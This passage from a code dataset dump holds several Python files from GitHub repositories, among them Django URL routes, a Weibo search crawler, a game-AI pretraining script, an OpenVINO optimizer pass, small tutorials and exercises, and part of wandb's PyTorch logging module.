views.LeaveTeamView.as_view(), name='leave-team'),\n url(r'^dashboard/request_captain/$', views.RequestCaptainView.as_view(), name='request-promotion'),\n url(r'^dashboard/step_down/$', views.StepDownView.as_view(), name='step-down'),\n url(r'^dashboard/create_team/$', views.TeamCreationView.as_view(), name='create-team'),\n url(r'^dashboard/toggle_lft/$', views.ToggleLFTView.as_view(), name='toggle-lft'),\n\n url(r'^dashboard/manage_team/$', views.CaptainHomeView.as_view(), name='manage-team'),\n url(r'^dashboard/manage_team/approve_member/(?P[0-9-_:]+)/$', views.ApproveMemberView.as_view(), name='approve-member'),\n url(r'^dashboard/manage_team/approve_captain/(?P[0-9-_:]+)/$', views.ApproveCaptainView.as_view(), name='approve-captain'),\n url(r'^dashboard/manage_team/disband/$', views.DisbandTeamView.as_view(), name='disband-team'),\n\n url(r'^archive/(?P\\d+)/$', views.ArchiveEmailView.as_view(), name='archive-email'),\n\n)\n\n# if settings.DEBUG:\n# urlpatterns += [\n# url(r'^403/$', 'signup.errors.error403', name='403'),\n# url(r'^404/$', 'signup.errors.error404', name='404'),\n# url(r'^500/$', 'signup.errors.error500', name='500'),\n# ]\n","repo_name":"ISEAGE-ISU/cdc-signup","sub_path":"signup/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33938415404","text":"#-*- coding:utf8 -*-\nfrom weibocrawler import log\nfrom weibocrawler import dboperator\nfrom weibocrawler import WeiboHttpRequest\nfrom weibocrawler import WeiboLogin\nimport urllib.parse\nimport time\nimport random\nimport re\nimport json\nimport datetime\nfrom bs4 import BeautifulSoup\nfrom weibocrawler.convert_cookies import convert_cookies\nfrom weibocrawler.config import getconfig\n\ncfg1 = getconfig()\nKeywordSleeptime = int(cfg1['CrawlParameter']['KeywordSleeptime'])\n\ndef get_request(check_cookie_file=True):\n '''get a weibo http request'''\n username = '1111111111111'\n password = '1111111111111'\n if check_cookie_file == True:\n convert_cookies()\n login = WeiboLogin(username, password)\n http_request = WeiboHttpRequest(login)\n return http_request\n\ndef crawler_pages(http_request, dbo1, dbo2):\n\tcursor = dbo2.coll.find({}, {'keyword': 1, 'keywordcrawled': 1})\n\tfor c in cursor:\n\t\tif int(c.get(\"keywordcrawled\",0)) == 1:\n\t\t\tcontinue\n\t\telse:\n\t\t\tsp = {}\n\t\t\ttimebatch = str(datetime.datetime.now().strftime(\"%Y%m%d%H%M\"))\n\t\t\tsp['timebatch'] = timebatch\n\t\t\tqueryString = c['keyword']\n\t\t\tlog('Begin to get', queryString)\n\t\t\tpage_tuple = __crawler_each_page(http_request, queryString)\n\t\t\turlstr = page_tuple[0]\n\t\t\thtmlstr = page_tuple[1]\n\n\t\t\tsp['pageurl'] = urlstr\n\t\t\tsp['htmlstr'] = htmlstr\n\t\t\tsp['crawlertime'] = datetime.datetime.now().timestamp()\n\t\t\tsp['querystring'] = queryString\n\t\t\tdbo1.insert(sp)\n\t\t\tdbo2.coll.update({'keyword': queryString}, {'$set': {'keywordcrawled': 1}}, multi=True)\n\t\t\tlog(\"crawler Page finished:\",queryString)\n\tlog(\"crawler all Page:\",\"finished!\")\n\n\ndef __crawler_each_page(http_request, queryString, page_num = 1):\n '''only one page at a time'''\n sleeptime = random.randint(KeywordSleeptime, KeywordSleeptime+5)\n log('crawler_each_page sleep time', str(sleeptime))\n time.sleep(sleeptime)\n\n url_str = 'http://s.weibo.com/weibo/' + \\\n urllib.parse.quote(queryString) + '&page=' + str(page_num)\n htmlstr = http_request.get(url_str)\n return (url_str, htmlstr)\n\n\ndef main(http_request = \"\"):\n\t'''\n\tThis function will crawler search page of weibo and write them into MongoDB.\n\tUsage:\n\t'''\n\tfrom weibocrawler.config import getconfig\n\tcfg = getconfig()\n\tCollection_SearchPages = cfg['Collections']['SearchPages']\n\tCollection_SearchKeywords = cfg['Collections']['SearchKeywords']\n\tdbo1 = dboperator.Dboperator(collname=Collection_SearchPages) # use config infor\n\tdbo2 = dboperator.Dboperator(collname=Collection_SearchKeywords) # use config info\n\tif http_request == '':\n\t\thttp_request = get_request()\n\tcrawler_pages(http_request, dbo1, dbo2)\n","repo_name":"dbc1040/WeiboCrawler","sub_path":"weibocrawler/get_search_results_onepage.py","file_name":"get_search_results_onepage.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31525482876","text":"import pickle\nfrom collections import defaultdict\nfrom datetime import datetime\n\nimport AmoebaPlayGround.Training.Evaluator as Evaluator\nfrom AmoebaPlayGround.Agents.AmoebaAgent import RandomAgent\nfrom AmoebaPlayGround.Agents.MCTS.MCTSAgent import MCTSAgent\nfrom AmoebaPlayGround.Agents.TensorflowModels import ResNetLike\nfrom AmoebaPlayGround.GameExecution.SingleThreadGameExecutor import SingleThreadGameExecutor\nfrom AmoebaPlayGround.Training.Evaluator import EloEvaluator, ReferenceAgent\nfrom AmoebaPlayGround.Training.Logger import ConsoleLogger\nfrom AmoebaPlayGround.Training.TrainingSampleGenerator import TrainingDatasetGenerator\n\nmap_size = (12, 12)\n\ntraining_name = None\n\n\nclass PreTrainingLogger(ConsoleLogger):\n def __init__(self):\n self.metrics = defaultdict(lambda: [])\n\n def log(self, key, message):\n super().log(key, message)\n self.metrics[key].append(message)\n\n\nneural_network_config = {\n \"map_size\": map_size,\n \"neural_network\": {\n \"general\": {\n \"training_batch_size\": 1,\n \"inference_batch_size\": 1500,\n \"training_dataset_max_size\": 200000,\n \"training_epochs\": 1\n },\n \"graph\": {\n \"first_convolution_size\": [3, 3],\n \"network_depth\": 6,\n \"dropout\": 0.0,\n \"reg\": 5e-5,\n \"learning_rate\": 0.8e-3,\n \"weights_file\": \"2022-11-15_22-15-32_pretrained\",\n \"loss_weights\": [1, 3] # good rule of thumb is 1 for policy and log2(np.prod(board_size)) for value\n }\n }\n}\n\nconfig = {\n \"mcts\": {\n \"tree_type\": \"MCTSTree\",\n \"search_count\": 600,\n \"max_intra_game_parallelism\": 8,\n \"exploration_rate\": 1.4,\n \"search_batch_size\": 400, # TODO refactor this config out, it shouldn't be a config, just function parameter\n \"training_epochs\": 4,\n \"dirichlet_ratio\": 0.1,\n \"virtual_loss\": 1\n }\n}\n\ngame_executor_config = {\n \"move_selection_strategy_type\": \"MoveSelectionStrategy\",\n \"inference_batch_size\": 1500\n}\n\nneural_network_model = ResNetLike(config=neural_network_config)\nneural_network_model.create_model()\n\nlearning_agent = MCTSAgent(model=neural_network_model, config=config)\ngame_executor = SingleThreadGameExecutor(\"placeholder\", \"placeholder\", game_executor_config)\n\nEvaluator.fix_reference_agents = [ReferenceAgent(name='random_agent', instance=RandomAgent(),\n evaluation_match_count=50)]\nevaluator = EloEvaluator(game_executor, map_size, puzzle_variation_count=10)\nlogger = PreTrainingLogger()\nevaluator.evaluate_agent(learning_agent, logger)\n\ndataset_size = 200000\nwith open(\"../Datasets/quickstart_dataset_12x12_400_searches.p\", \"rb\") as file:\n dataset_generator = TrainingDatasetGenerator(pickle.load(file))\n inputs, output_policies, output_values = dataset_generator.get_dataset(dataset_size)\n output_policies = output_policies.reshape(output_policies.shape[0], -1)\n\nprint(len(inputs))\nevaluation_split_index = int(len(inputs) * 4 / 5)\n\ntraining_inputs = inputs[:evaluation_split_index]\ntraining_output_policies = output_policies[:evaluation_split_index]\ntraining_output_values = output_values[:evaluation_split_index]\n\nevaluation_inputs = inputs[evaluation_split_index:]\nevaluation_output_policies = output_policies[evaluation_split_index:]\nevaluation_output_values = output_values[evaluation_split_index:]\n\nepochs = 4\nfor i in range(epochs):\n print(\"epoch \" + str(i))\n\n training_result = neural_network_model.model.fit(x=training_inputs,\n y=[training_output_policies, training_output_values],\n validation_data=(\n evaluation_inputs,\n [evaluation_output_policies, evaluation_output_values]),\n epochs=1,\n shuffle=True,\n verbose=1, batch_size=8)\n evaluator.evaluate_agent(learning_agent, logger)\n history = training_result.history\n logger.log(\"combined_loss\", history[\"loss\"][0])\n logger.log(\"policy_loss\", history[\"policy_loss\"][0])\n logger.log(\"value_loss\", history[\"value_loss\"][0])\n logger.log(\"validation_combined_loss\", history[\"val_loss\"][0])\n logger.log(\"validation_policy_loss\", history[\"val_policy_loss\"][0])\n logger.log(\"validation_value_loss\", history[\"val_value_loss\"][0])\n\nif training_name is None:\n date_time = datetime.now()\n training_name = date_time.strftime(\"%Y-%m-%d_%H-%M-%S\") + \"_pretrained\"\n\nneural_network_model.save_model(training_name)\nwith open(\"../PreTrainingLogs/\" + training_name + \".p\", 'wb') as file:\n pickle.dump(dict(logger.metrics), file)\n","repo_name":"LikvidJozsi/DeepAmoeba","sub_path":"Scripts/PreTrain.py","file_name":"PreTrain.py","file_ext":"py","file_size_in_byte":4899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40451405905","text":"import sys\nsys.stdin=open(\"input.txt\",\"r\")\nT=int(input())\nfor tc in range(1,T+1):\n n,m=map(int, input().split())\n container=list(map(int, input().split()))\n truck=list(map(int, input().split()))\n # truck.sort(key=lambda x : -x)\n result=0\n visit=[0]*n\n for i in range(m):\n val,idx=0,0\n for j in range(n):\n if visit[j]: continue\n if truck[i]>=container[j]:\n idx=idx if val>container[j] else j\n val=container[idx]\n if val==0: continue\n result+=val\n visit[idx]=1\n print('#{} {}'.format(tc,result))\n","repo_name":"jihyeong2/TIL","sub_path":"swea/Code/SWEA_5201_컨테이너운반_김지형.py","file_name":"SWEA_5201_컨테이너운반_김지형.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"7131551277","text":"import os #operating system\ndef read_file(filename):\n\tproducts = []\n\twith open (filename, 'r', encoding='utf-8') as file: #讀取檔案\n\t\tfor line in file:\n\t\t\tif '商品名稱,商品價錢' in line:\n\t\t\t\tcontinue\n\t\t\tname, price = line.strip().split(',')\n\t\t\tproducts.append([name, price])\n\tprint(products)\n\treturn products\n\ndef user_input(products):\n\twhile True:\n\t name = input('Please enter the name of the product:')\n\t if name == 'q':\n\t\t break\n\t price = input('Please enter the price of the product:')\n\t products.append([name,price])\n\treturn products\n\n#印出購買紀錄\ndef print_products(products):\n\tfor p in products:\n\t\tprint('The price of', p[0], 'is', p[1])\n\n#write to file\ndef write_file(filename, products):\n\twith open(filename, 'w', encoding='utf-8') as f:\n\t f.write('商品名稱,商品價錢\\n')\n\t for p in products:\n\t\t f.write(p[0] + ',' + (p[1]) + '\\n')\n\ndef main():\n\tfilename = 'products.csv'\n\tif os.path.isfile(filename):\n\t\tprint('Yes, the file exit.')\n\t\tproducts = read_file(filename)\n\telse:\n\t\tprint('No such file.')\n\tproducts = user_input(products)\n\tprint_products(products)\n\twrite_file('prodcuts.csv', products)\nmain()\n","repo_name":"QiaoLingCHOU/Products","sub_path":"products.py","file_name":"products.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13023011739","text":"import numpy as np\n\nfrom extensions.ops.elementwise import Mul, Add, Pow\nfrom mo.graph.graph import Graph\nfrom mo.middle.replacement import MiddleReplacementPattern\nfrom mo.ops.const import Const\n\n\nclass FusedBatchNormNonConstant(MiddleReplacementPattern):\n \"\"\"\n Replaces FusedBatchNorm(input, beta, gamma, mean, variance) with non-constant mean and variance,\n but with constant beta and gamma to a sub-expression consisting of a combinatin of Eltwise layers and ScaleShift.\n \"\"\"\n\n enabled = True\n\n def run_after(self):\n from extensions.middle.pass_separator import MiddleStart\n return [MiddleStart]\n\n def run_before(self):\n from extensions.middle.pass_separator import MiddleFinish\n return [MiddleFinish]\n\n def pattern(self):\n return dict(\n nodes=[\n ('op', dict(kind='op', op='FusedBatchNorm'))],\n edges=[]\n )\n\n def replace_pattern(self, graph: Graph, match: dict):\n node = match['op']\n if (node.data_format != b'NHWC' or\n len(node.in_nodes()) != 5 or\n node.in_node(0).value is not None or # input\n node.in_node(1).value is None or # scale\n node.in_node(2).value is None or # offset\n node.in_node(3).value is not None or # mean\n node.in_node(4).value is not None or # variance\n node.in_node(1).value.ndim != 1 or\n node.in_node(2).value.ndim != 1):\n return\n\n scale_mul = Mul(graph, dict(name=node.name + '/scale_mul_'))\n shift_add = Add(graph, dict(name=node.name + '/shift_add_'))\n mean_add = Add(graph, dict(name=node.name + '/mean_add_'))\n variance_mul = Mul(graph, dict(name=node.name + '/variance_mul_'))\n\n neg_const = Const(graph, dict(value=np.array(-1), name=node.name + '/mean_negate_'))\n mean_negate = Mul(graph, dict(name=node.name + '/mean_negate_'))\n mean_arg = mean_add.create_node_with_data([\n node.in_node(0),\n mean_negate.create_node_with_data([node.in_node(3),\n neg_const.create_node_with_data()\n ])])\n\n shift_const = Const(graph, dict(value=node.eps, name=node.name + '/variance_denom_shift_const_'))\n power_const = Const(graph, dict(value=-0.5, name=node.name + '/variance_denom_power_const_'))\n variance_denom_shift = Add(graph, dict(name=node.name + '/variance_denom_shift_'))\n variance_denom_power = Pow(graph, dict(name=node.name + '/variance_denom_power_'))\n variance_arg = variance_mul.create_node_with_data([\n mean_arg,\n variance_denom_power.create_node_with_data([\n variance_denom_shift.create_node_with_data([node.in_node(4), shift_const.create_node_with_data()]),\n power_const.create_node_with_data()]\n )])\n\n shift_add.create_node_with_data([\n scale_mul.create_node_with_data([\n variance_arg,\n node.in_node(1)]),\n node.in_node(2)],\n data_nodes=node.out_node())\n\n node.graph.remove_node(node.id)\n","repo_name":"Namptiter/OpenVINO-Darknet-YOLOv3","sub_path":"model_optimizer/extensions/middle/FusedBatchNormNonConstant.py","file_name":"FusedBatchNormNonConstant.py","file_ext":"py","file_size_in_byte":3219,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"3516858400","text":"# Crear una función pequeña y llamarla\nprint(\"\\nPaso 1: \\n********\")\n\ndef decir_hola():\n print(\"¡Hola mundo!\")\n\ndecir_hola()\n\n# Crear una función pequeña y aceptar un parámetro de entrada\nprint(\"\\nPaso 2: \\n********\")\n\ndef decir_hola(nombre):\n print(f\"¡Hola {nombre}!\")\n\ndecir_hola(\"Agustín\")\n\n# Llamar función para omitir el argumento\nprint(\"\\nPaso 3: \\n********\")\n\ndef decir_hola(nombre = \"mundo\"):\n print(f\"¡Hola {nombre}!\")\n\ndecir_hola()\ndecir_hola(\"Agustín\")\n\n# Incluir un segundo parámetro opcional de entrada\nprint(\"\\nPaso 4: \\n********\")\n\ndef decir_hola(nombre = \"mundo\", saludo = None):\n if saludo == None:\n print(f\"¡Hola {nombre}!\")\n else:\n print(f\"¡{saludo} {nombre}!\")\n\ndecir_hola()\ndecir_hola(\"Agustín\")\ndecir_hola(saludo=\"Qué tal\")\ndecir_hola(\"Agustín\", \"Qué tal\")\n\n# Sumar dos números con una función\nprint(\"\\nPaso 4: \\n********\")\n\ndef sumar_dos_numeros(x, y):\n return x + y\n\nsumar_dos_numeros(4, 6)\nresultado = sumar_dos_numeros(5, 7)\nprint(resultado)\n\n# Devolver una lista en una función\nprint(\"\\nPaso 5: \\n********\")\n\ndef crear_maso_de_cartas():\n palos_de_carta = [\"Corazones\", \"Diamantes\", \"Tréboles\", \"Picas\"]\n numeros_de_carta = [\"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"Jack\", \"Queen\", \"King\", \"As\"]\n maso_de_cartas = []\n\n for palo in palos_de_carta:\n for numero in numeros_de_carta:\n maso_de_cartas.append(f\"{numero} de {palo}\")\n\n return maso_de_cartas\n\nmi_maso = crear_maso_de_cartas()\nprint(len(mi_maso))","repo_name":"agustincomolli/Python","sub_path":"Aprender Python/08 - Funciones/ejercicio_1.py","file_name":"ejercicio_1.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74861706347","text":"'''\nhttps://practice.geeksforgeeks.org/problems/array-subset-of-another-array2317/1#\n'''\n\n'''\nGiven two arrays: a1[0..n-1] of size n and a2[0..m-1] of size m. \nTask is to check whether a2[] is a subset of a1[] or not. Both the arrays can be sorted or unsorted. \nIt may be assumed that elements in both array are distinct.\n'''\ndef isSubset( a1, a2, n, m):\n a1 = set(a1)\n for ele in a2:\n if ele not in a1:\n return 'No'\n return 'Yes'\n","repo_name":"DIVYANSHU-CHAUDHARI/DSA-Library","sub_path":"Hashing/Array Subset of another array.py","file_name":"Array Subset of another array.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28585302021","text":"import sys\nimport pandas\nimport numpy\nfrom Bio import SeqIO\n\nregion_filename = sys.argv[1]\npeaks_filename = sys.argv[2]\nTHRESHOLD = int(sys.argv[3])\n\n\n# Read data frame from output of 'depth-high_coverage.py' and 'terminal-find_peaks.py'\n\nregion_file = pandas.read_csv(region_filename, names=('reference_name', 'beg', 'end'), delimiter='\\t')\npeaks_file = pandas.read_csv(peaks_filename, names=('reference_name', 'position'), delimiter='\\t')\n\n\n# Cut\n\nreference_names = region_file.reference_name.drop_duplicates().values\n\nfor reference_name in reference_names:\n\t\n\t# Extract data frame for each reference.\n\tregions = region_file[region_file.reference_name.map(str) == str(reference_name)]\n\tpeaks = peaks_file[peaks_file.reference_name.map(str) == str(reference_name)]\n\t\n\t# Cut each region.\n\tfor index, region in regions.iterrows():\n\t\t\n\t\t# Append the beginning of the region to the list.\n\t\tpositions = [region.beg]\n\t\t\n\t\t# Append the peaks in the region to the List.\n\t\tfor index2, peak in peaks.iterrows():\n\t\t\tif region.beg < peak.position < region.end:\n\t\t\t\tpositions.append(peak.position)\n\t\t\n\t\t# Append the end of the region to the list.\n\t\tpositions.append(region.end + 1)\n\t\t\n\t\t# Print the region list.\n\t\t# chrom chromStat chromEnd name score strand thickStart thickEnd itemRgb\n\t\tfor i in range(len(positions) - 1):\n\t\t\tif positions[i + 1] - positions[i] >= THRESHOLD:\n\t\t\t\tprint(str(reference_name) + '\\t' + str(positions[i]) + '\\t' + str(positions[i + 1] - 1))\n\n","repo_name":"heragaji/make_rep_database","sub_path":"src/peak-cut_region.py","file_name":"peak-cut_region.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"29765219410","text":"all_weight_per_package = []\r\nall_packages = []\r\ntmp_packages = []\r\nweight_per_package = \"\"\r\npackages_count = 0\r\nPACKAGE_LIMIT = 20\r\nMIN = 1\r\nMAX = 10\r\n\r\ndef all_elements_weight(weights):\r\n all_elements_weight = []\r\n tmp = weights.split(\",\")\r\n for t in tmp:\r\n if int(t) >= MIN or int(t) <= MAX:\r\n all_elements_weight.append(int(t))\r\n #all_elements_weight.sort(reverse=True)\r\n return all_elements_weight\r\n\r\ndef check_list_of_elements(list_of_elements, number_of_elements):\r\n if int(len(list_of_elements)) == int(number_of_elements):\r\n return True\r\n else:\r\n return False\r\n\r\ndef check_empty_package_weight(list_empty_weight_all_packages):\r\n empty_weight = 0\r\n index = 0\r\n for weight in list_empty_weight_all_packages:\r\n if weight > empty_weight:\r\n empty_weight = weight\r\n index += 1\r\n #if len(list_empty_weight_all_packages) != 1:\r\n # index += 1\r\n return f\"{index} ({empty_weight}kg)\"\r\n\r\ndef sum_of_empty_weight(list_all_packages, sum_of_empty = True):\r\n index = 0\r\n tmp_empty_sum = []\r\n sum_of_empty_weight = []\r\n list_of_empty_weight = []\r\n while len(list_all_packages):\r\n tmp_empty_sum = PACKAGE_LIMIT - sum(list_all_packages[index])\r\n sum_of_empty_weight.append(tmp_empty_sum)\r\n if index != len(list_all_packages) - 1:\r\n index += 1\r\n else:\r\n list_of_empty_weight = sum_of_empty_weight\r\n break\r\n if sum_of_empty == True:\r\n return sum(sum_of_empty_weight)\r\n else:\r\n return list_of_empty_weight\r\n\r\ndef summary(weight_per_package, all_packages, all_weight_per_package):\r\n print(f\"\\nPODSUMOWANIE:\")\r\n \r\n for package in range(len(all_packages)):\r\n if len(weight_per_package) != 0:\r\n weight_per_package += \", \"\r\n tmp = \"\"\r\n index = 0\r\n for weight in all_packages[package]:\r\n tmp += str(weight)\r\n if index < len(all_packages[package])-1:\r\n tmp += \"+\"\r\n index += 1\r\n else:\r\n weight_per_package += tmp\r\n\r\n print(f\"Wysłano {len(all_packages)} paczki ({weight_per_package})\")\r\n print(f\"Wysłano: {sum(all_weight_per_package)}kg\")\r\n print(f\"Suma pustych kilogramow: {sum_of_empty_weight(all_packages)}kg\")\r\n print(f\"Najwięcej pustych kilogramów ma paczka {check_empty_package_weight(sum_of_empty_weight(all_packages, False))}\")\r\n","repo_name":"michal-rudzki/fc_zajecia4","sub_path":"pack.py","file_name":"pack.py","file_ext":"py","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28400509879","text":"import cv2\r\n\r\nimg = cv2.imread(r\"C:\\Users\\91982\\Desktop\\CV\\samurai.jpg\")\r\ncv2.imshow('Samurai',img)\r\n\r\n# Converting to GrayScale\r\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\ncv2.imshow('Gray',gray)\r\n\r\ncv2.waitKey(0)\r\n\r\n# Blur\r\nblur = cv2.GaussianBlur(img, (5,5), cv2.BORDER_DEFAULT)\r\ncv2.imshow('Blur', blur)\r\n\r\ncv2.waitKey(0)\r\n\r\n# Edge Cascade\r\ncanny = cv2.Canny(img, 125, 175)\r\ncv2.imshow('Cascade Edges', canny)\r\n\r\ncv2.waitKey(0)\r\n\r\n# canny = cv2.Canny(blur, 125, 175)\r\n# cv2.imshow('Cascade Edges', canny)\r\n\r\n# cv2.waitKey(0)\r\n\r\n\r\n# Dilating the image\r\ndilated = cv2.dilate(canny, (7,7), iterations=4)\r\ncv2.imshow('Dilated', dilated)\r\n\r\ncv2.waitKey(0)\r\n\r\n#Erode\r\neroded = cv2.erode(canny, (3,3), iterations=1)\r\ncv2.imshow('Eroded', eroded)\r\n\r\ncv2.waitKey(0)\r\n\r\n#Resize\r\nresized = cv2.resize(img,(600,600))\r\ncv2.imshow('Resized',resized)\r\n\r\ncv2.waitKey(0)\r\n\r\n# resized1 = cv2.resize(img,(600,600),interpolation=cv2.INTER_CUBIC)\r\n# cv2.imshow('Resized1',resized1)\r\n\r\n# cv2.waitKey(0)\r\n\r\n# resized2 = cv2.resize(img,(600,600),interpolation=cv2.INTER_LINEAR)\r\n# cv2.imshow('Resized2',resized2)\r\n\r\n# cv2.waitKey(0)\r\n\r\n# resized3 = cv2.resize(img,(600,600),interpolation=cv2.INTER_AREA)\r\n# cv2.imshow('Resized3',resized3)\r\n\r\n# cv2.waitKey(0)\r\n\r\n# Cropped\r\ncropped = img[50:200, 300:400]\r\ncv2.imshow('Cropped', cropped)\r\n\r\ncv2.waitKey(0)\r\n","repo_name":"MD-1507/OpenCV_basic_implement","sub_path":"basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6312341437","text":"from django.urls import path\nfrom .views import about_view, detail_view, casestudy_list_view\n\napp_name = \"about\"\nurlpatterns = [\n path('', about_view, name=\"about_list\"),\n path('casestudies', casestudy_list_view, name=\"casestudies\"),\n path('', detail_view, name=\"about_detail\"),\n\n]\n","repo_name":"Wings30306/calling-mrs-christmas","sub_path":"about/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"8398121801","text":"#!/usr/bin/env python\n\n\"\"\"PyTorch-specific functionality\n\"\"\"\n\nimport itertools\nfrom functools import reduce\nfrom operator import mul\nfrom typing import List\n\nimport wandb\nfrom wandb import util\nfrom wandb.data_types import Node\n\ntorch = None\n\n\ndef nested_shape(array_or_tuple, seen=None):\n \"\"\"Figure out the shape of tensors possibly embedded in tuples\n i.e\n [0,0] returns (2)\n ([0,0], [0,0]) returns (2,2)\n (([0,0], [0,0]),[0,0]) returns ((2,2),2)\n \"\"\"\n if seen is None:\n seen = set()\n if hasattr(array_or_tuple, \"size\"):\n # pytorch tensors use V.size() to get size of tensor\n return list(array_or_tuple.size())\n elif hasattr(array_or_tuple, \"get_shape\"):\n # tensorflow uses V.get_shape() to get size of tensor\n return array_or_tuple.get_shape().as_list()\n elif hasattr(array_or_tuple, \"shape\"):\n return array_or_tuple.shape\n\n seen.add(id(array_or_tuple))\n try:\n # treat object as iterable\n return [\n nested_shape(item, seen) if id(item) not in seen else 0\n for item in list(array_or_tuple)\n ]\n except TypeError:\n # object is not actually iterable\n # LB: Maybe we should throw an error?\n return []\n\n\nLOG_TRACK_COUNT, LOG_TRACK_THRESHOLD = range(2)\n\n\ndef log_track_init(log_freq: int) -> List[int]:\n \"\"\"create tracking structure used by log_track_update\"\"\"\n l = [0] * 2\n l[LOG_TRACK_THRESHOLD] = log_freq\n return l\n\n\ndef log_track_update(log_track: int) -> bool:\n \"\"\"count (log_track[0]) up to threshold (log_track[1]), reset count (log_track[0]) and return true when reached\"\"\"\n log_track[LOG_TRACK_COUNT] += 1\n if log_track[LOG_TRACK_COUNT] < log_track[LOG_TRACK_THRESHOLD]:\n return False\n log_track[LOG_TRACK_COUNT] = 0\n return True\n\n\nclass TorchHistory:\n \"\"\"History methods specific to PyTorch\"\"\"\n\n def __init__(self):\n global torch\n torch = wandb.util.get_module(\"torch\", \"Could not import torch\")\n self._hook_handles = {}\n self._num_bins = 64\n self._is_cuda_histc_supported = None\n self.hook_torch = TorchGraph.hook_torch\n\n def add_log_parameters_hook(\n self,\n module: \"torch.nn.Module\",\n name: str = \"\",\n prefix: str = \"\",\n log_freq: int = 0,\n ) -> None:\n \"\"\"This instruments hooks into the pytorch module\n log parameters after a forward pass\n log_freq - log gradients/parameters every N batches\n \"\"\"\n # if name is not None:\n prefix = prefix + name\n\n if not hasattr(module, \"_wandb_hook_names\"):\n module._wandb_hook_names = []\n\n def parameter_log_hook(module, input_, output, log_track):\n if not log_track_update(log_track):\n return\n for name, parameter in module.named_parameters():\n # for pytorch 0.3 Variables\n if isinstance(parameter, torch.autograd.Variable):\n data = parameter.data\n else:\n data = parameter\n self.log_tensor_stats(data.cpu(), \"parameters/\" + prefix + name)\n\n log_track_params = log_track_init(log_freq)\n try:\n hook = module.register_forward_hook(\n lambda mod, inp, outp: parameter_log_hook(\n mod, inp, outp, log_track_params\n )\n )\n self._hook_handles[\"parameters/\" + prefix] = hook\n module._wandb_hook_names.append(\"parameters/\" + prefix)\n except RuntimeError as e:\n wandb.termwarn(\n f\"Trying to register forward_hook failed ({e}) - skipping parameter tracking.\"\n )\n\n def add_log_gradients_hook(\n self,\n module: \"torch.nn.Module\",\n name: str = \"\",\n prefix: str = \"\",\n log_freq: int = 0,\n ) -> None:\n \"\"\"This instruments hooks into the pytorch module\n log gradients after a backward pass\n log_freq - log gradients/parameters every N batches\n \"\"\"\n\n # if name is not None:\n prefix = prefix + name\n\n if not hasattr(module, \"_wandb_hook_names\"):\n module._wandb_hook_names = []\n\n for name, parameter in module.named_parameters():\n if parameter.requires_grad:\n log_track_grad = log_track_init(log_freq)\n module._wandb_hook_names.append(\"gradients/\" + prefix + name)\n self._hook_variable_gradient_stats(\n parameter, \"gradients/\" + prefix + name, log_track_grad\n )\n\n def log_tensor_stats(self, tensor, name):\n \"\"\"Add distribution statistics on a tensor's elements to the current History entry\"\"\"\n # TODO Handle the case of duplicate names.\n if isinstance(tensor, (tuple, list)):\n while isinstance(tensor, (tuple, list)) and isinstance(\n tensor[0], (tuple, list)\n ):\n tensor = [item for sublist in tensor for item in sublist]\n tensor = torch.cat([t.detach().clone().reshape(-1) for t in tensor])\n\n tensor = tensor.detach().clone()\n # checking for inheritance from _TensorBase didn't work for some reason\n if not hasattr(tensor, \"shape\"):\n cls = type(tensor)\n raise TypeError(f\"Expected Tensor, not {cls.__module__}.{cls.__name__}\")\n\n # Sparse tensors have a bunch of implicit zeros. In order to histo them correctly,\n # we have to count them up and add them to the histo ourselves.\n sparse_zeros = None\n if tensor.is_sparse:\n # Have to call this on a sparse tensor before most other ops.\n tensor = tensor.cpu().coalesce()\n\n backing_values = tensor._values()\n sparse_zeros = tensor.numel() - backing_values.numel()\n tensor = backing_values\n\n flat = tensor.reshape(-1)\n\n if flat.is_cuda:\n if self._is_cuda_histc_supported is None:\n try:\n flat.histc(bins=self._num_bins)\n except RuntimeError:\n self._is_cuda_histc_supported = False\n else:\n self._is_cuda_histc_supported = True\n\n # As of torch 1.0.1.post2+nightly, float16 cuda summary ops are not supported (convert to float32)\n if not self._is_cuda_histc_supported:\n flat = flat.cpu()\n elif not isinstance(\n flat, (torch.cuda.FloatTensor, torch.cuda.DoubleTensor)\n ):\n flat = flat.type(torch.cuda.FloatTensor)\n\n # Since we use histc, we need to make sure that torch supports the operation on CPU,\n # otherwise we'll get a runtime error. Hence, we need to upcast to float32.\n if not flat.is_cuda and not isinstance(\n flat, (torch.FloatTensor, torch.DoubleTensor)\n ):\n flat = flat.type(torch.FloatTensor)\n\n # Skip logging if all values are nan or inf or the tensor is empty.\n if self._no_finite_values(flat):\n return\n\n # Remove nans and infs if present. There's no good way to represent that in histograms.\n flat = self._remove_infs_nans(flat)\n\n tmin = flat.min().item()\n tmax = flat.max().item()\n if sparse_zeros:\n # If we've got zeros to add in, make sure zero is in the hist range.\n tmin = 0 if tmin > 0 